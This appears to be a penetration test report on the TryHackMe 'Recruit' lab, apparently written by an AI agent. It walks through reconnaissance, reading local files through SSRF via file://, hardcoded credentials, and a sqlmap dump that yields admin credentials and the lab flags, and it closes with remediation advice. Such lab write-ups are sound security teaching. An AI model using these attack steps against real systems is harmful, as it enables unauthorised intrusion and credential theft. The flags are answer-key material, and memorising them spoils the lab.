Recruit
Penetration Test Report — Recruit
Date: 2026-04-25
Target: recruit.thm (10.65.180.189)
Operator: wintermute
Executing Agent: Anthropic Claude Opus 4.7 (model ID claude-opus-4-7, 1M-context variant), running in Claude Code on Kali Linux
Difficulty: Medium
Platform: TryHackMe
Classification: Confidential
AI Authorship Disclosure
This engagement was carried out by an autonomous AI agent (Anthropic Claude Opus 4.7) operating from the operator's workstation under the alias above. The AI performed all reconnaissance, exploitation, flag capture, and authored this report end-to-end. The human operator supplied the target, authorised the scope (the TryHackMe lab in question), and supervised execution; no third-party systems were touched. All tool invocations (nmap, gobuster, curl, sqlmap, etc.) were issued by the agent via shell. Findings, payloads, and recommendations have not been independently re-verified by a human reviewer.
Executive Summary
A penetration test was conducted against the Recruit web application hosted at recruit.thm (10.65.180.189). The engagement identified a chain of critical vulnerabilities that allowed an unauthenticated attacker to read arbitrary local files from the server, recover hardcoded credentials, exploit a SQL injection flaw to extract database contents, and ultimately compromise both the HR and Administrator accounts.
All objectives were met. Both application flags were captured without requiring OS-level access.
| Flag | Value |
|---|---|
| HR Flag | THM{LOGGED_IN_USER} |
| Admin Flag | THM{LOGGED_IN_ADM1N1} |
Scope & Objectives
| Item | Detail |
|---|---|
| Target IP | 10.65.180.189 |
| Hostname | recruit.thm |
| Ports | 22/tcp, 53/tcp, 80/tcp |
| Goal | Compromise HR and Admin accounts; capture flags |
Findings Summary
| # | Title | Severity | CVSS (est.) |
|---|---|---|---|
| 1 | Server-Side Request Forgery (SSRF) | Critical | 9.1 |
| 2 | Hardcoded Credentials in Config File | Critical | 8.8 |
| 3 | SQL Injection — Search Parameter | Critical | 9.8 |
| 4 | phpMyAdmin Exposed to Internet | High | 7.5 |
| 5 | Directory Listing — /mail/ | Medium | 5.3 |
| 6 | PHP Session Cookie Missing HttpOnly | Low | 3.1 |
Reconnaissance
Port Scan
nmap -sC -sV -oA scans/initial 10.65.180.189
| Port | State | Service | Version |
|---|---|---|---|
| 22/tcp | open | ssh | OpenSSH 8.2p1 Ubuntu |
| 53/tcp | open | domain | ISC BIND 9.16.1 (Ubuntu) |
| 80/tcp | open | http | Apache httpd 2.4.41 (Ubuntu) |
The presence of BIND 9.16.1 on port 53 was noted. DNS zone transfer attempts timed out, suggesting UDP filtering or intentional zone transfer restriction.
Web Enumeration
gobuster dir -u http://10.65.180.189/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 30
Notable endpoints discovered:
| Path | Status | Notes |
|---|---|---|
| /index.php | 200 | Login page (HR and Admin accounts) |
| /api.php | 200 | API documentation — reveals /file.php |
| /file.php | 200 | CV fetch endpoint (SSRF) |
| /dashboard.php | 302 | Redirects to login; authenticated only |
| /config.php | 200 | Returns 200 but empty (PHP file) |
| /phpmyadmin | 301 | phpMyAdmin admin panel |
| /mail/ | 301 | Directory listing enabled |
| /sitemap.xml | 200 | Hostname disclosure: recruit.thm |
Attack Chain
Step 1 — SSRF via /file.php (Finding #1)
The api.php page documented a CV retrieval endpoint:
/file.php?cv=<URL>
Testing revealed that HTTP requests to external or localhost URLs were blocked with the message "Only local files are allowed." However, the file:// URI scheme was accepted for paths within the web root:
GET /file.php?cv=file:///var/www/html/config.php
This constitutes an unauthenticated Server-Side Request Forgery vulnerability enabling arbitrary local file read.
Step 2 — Credential Disclosure via config.php (Finding #2)
Reading /var/www/html/config.php via SSRF returned the PHP source:
$HR_PASSWORD = 'hrpassword123';
A comment in the file explicitly noted these credentials were stored "temporarily for ease of access during the initial rollout phase." The mail log at /mail/mail.log corroborated this, containing an email from the HR team to IT Support stating the same.
Reading index.php via SSRF also revealed the application's full authentication logic, confirming:
hr:hrpassword123— hardcoded in config.phpadminpassword — stored in the MySQL database
Credentials recovered: hr:hrpassword123
Step 3 — HR Login and Flag Capture
Authenticated to the application with the recovered HR credentials:
POST / HTTP/1.1
username=hr&password=hrpassword123&login=1
The dashboard displayed:
HR Flag: THM{LOGGED_IN_USER}
Step 4 — SQL Injection in Search Parameter (Finding #3)
The authenticated dashboard exposed a candidate search form (?search=). Testing with a single quote triggered a verbose MySQL error:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
SQLMap was used to exploit the injection and dump the recruit_db database:
sqlmap -u "http://10.65.180.189/dashboard.php?search=test" \
--cookie="PHPSESSID=<session>" --dbms=mysql --dump --batch
Database: recruit_db
Table users:
| id | username | password |
|---|---|---|
| 1 | admin | admin@001admin |
Injection types confirmed: boolean-based blind, error-based, time-based blind, UNION-based.
Step 5 — Admin Login and Flag Capture
Authenticated with the extracted admin credentials:
POST / HTTP/1.1
username=admin&password=admin@001admin&login=1
The dashboard displayed:
Admin Flag: THM{LOGGED_IN_ADM1N1}
Flags
| Flag | Value | Access Path |
|---|---|---|
| HR Flag | THM{LOGGED_IN_USER} | SSRF → config.php → hr login |
| Admin Flag | THM{LOGGED_IN_ADM1N1} | SQLi → admin password → admin login |
Vulnerabilities & Recommendations
Finding 1 — Server-Side Request Forgery (SSRF) [Critical]
Location: GET /file.php?cv=<URL>
Description: The cv parameter fetches content from user-supplied URLs. While HTTP to external hosts is filtered, the file:// scheme is permitted, enabling unauthenticated read of local files accessible to the web server process.
Impact: Full disclosure of web application source code, configuration files, and any local file readable by www-data. This directly led to recovery of hardcoded credentials.
Recommendation:
- Remove
file://scheme support entirely. Only allowhttp://andhttps://to a whitelist of approved external domains. - If local file reads are a legitimate use case, implement server-side validation against a strict allowlist of safe paths.
- Consider moving the CV fetch functionality behind authentication.
Finding 2 — Hardcoded Credentials in Source File [Critical]
Location: /var/www/html/config.php — $HR_PASSWORD
Description: The HR account password is stored in plaintext in a PHP configuration file within the web root. The SSRF vulnerability made this file directly readable.
Impact: Full compromise of the HR account.
Recommendation:
- Store all credentials in environment variables or a secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager). Never commit secrets to the web root or version control.
- Rotate the
hraccount password immediately. - Complete the planned migration of credentials to the database.
Finding 3 — SQL Injection — Search Parameter [Critical]
Location: GET /dashboard.php?search=
Description: User input is interpolated directly into a MySQL query without parameterisation, enabling UNION, error-based, boolean-based, and time-based SQL injection. Exploitation required authentication (HR session), but the SSRF chain provided that without prior credentials.
Impact: Full read access to all database contents, including the admin account password.
Recommendation:
- Replace string concatenation with prepared statements and parameterised queries throughout the application.
- Apply principle of least privilege to the database user — the web application should not be able to read the
userstable unless strictly necessary.
Finding 4 — phpMyAdmin Exposed to Internet [High]
Location: http://recruit.thm/phpmyadmin/
Description: The phpMyAdmin database administration interface is accessible from the internet. Combined with the extracted admin database credentials, this provides an additional vector for full database compromise and potential OS command execution via INTO OUTFILE.
Recommendation:
- Restrict phpMyAdmin to localhost only (
127.0.0.1) or a dedicated management VPN. - If not required, remove it from the server entirely.
Finding 5 — Directory Listing Enabled on /mail/ [Medium]
Location: http://recruit.thm/mail/
Description: Apache directory listing is enabled for /mail/, exposing mail.log. This file contained sensitive operational information including internal IP addresses, email addresses, and explicit confirmation that HR credentials are stored in config.php.
Recommendation:
- Disable
Options Indexesin Apache configuration for all directories. - Move log files outside of the web root.
Finding 6 — PHP Session Cookie Missing HttpOnly Flag [Low]
Location: Set-Cookie: PHPSESSID=...; path=/ (missing HttpOnly)
Description: The PHPSESSID session cookie is issued without the HttpOnly attribute, making it accessible to JavaScript. If an XSS vulnerability were present, session cookies could be stolen.
Recommendation:
- Set
session.cookie_httponly = 1inphp.ini. - Also set
session.cookie_secure = 1if TLS is deployed.
Appendix
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port and service enumeration |
| gobuster | Web directory and file enumeration |
| curl | Manual HTTP interaction and SSRF testing |
| sqlmap | SQL injection detection and exploitation |
Credentials Recovered
| Account | Username | Password | Source |
|---|---|---|---|
| HR | hr | hrpassword123 | config.php via SSRF |
| Admin | admin | admin@001admin | MySQL via SQLi |
*Report generated: 2026-04-25*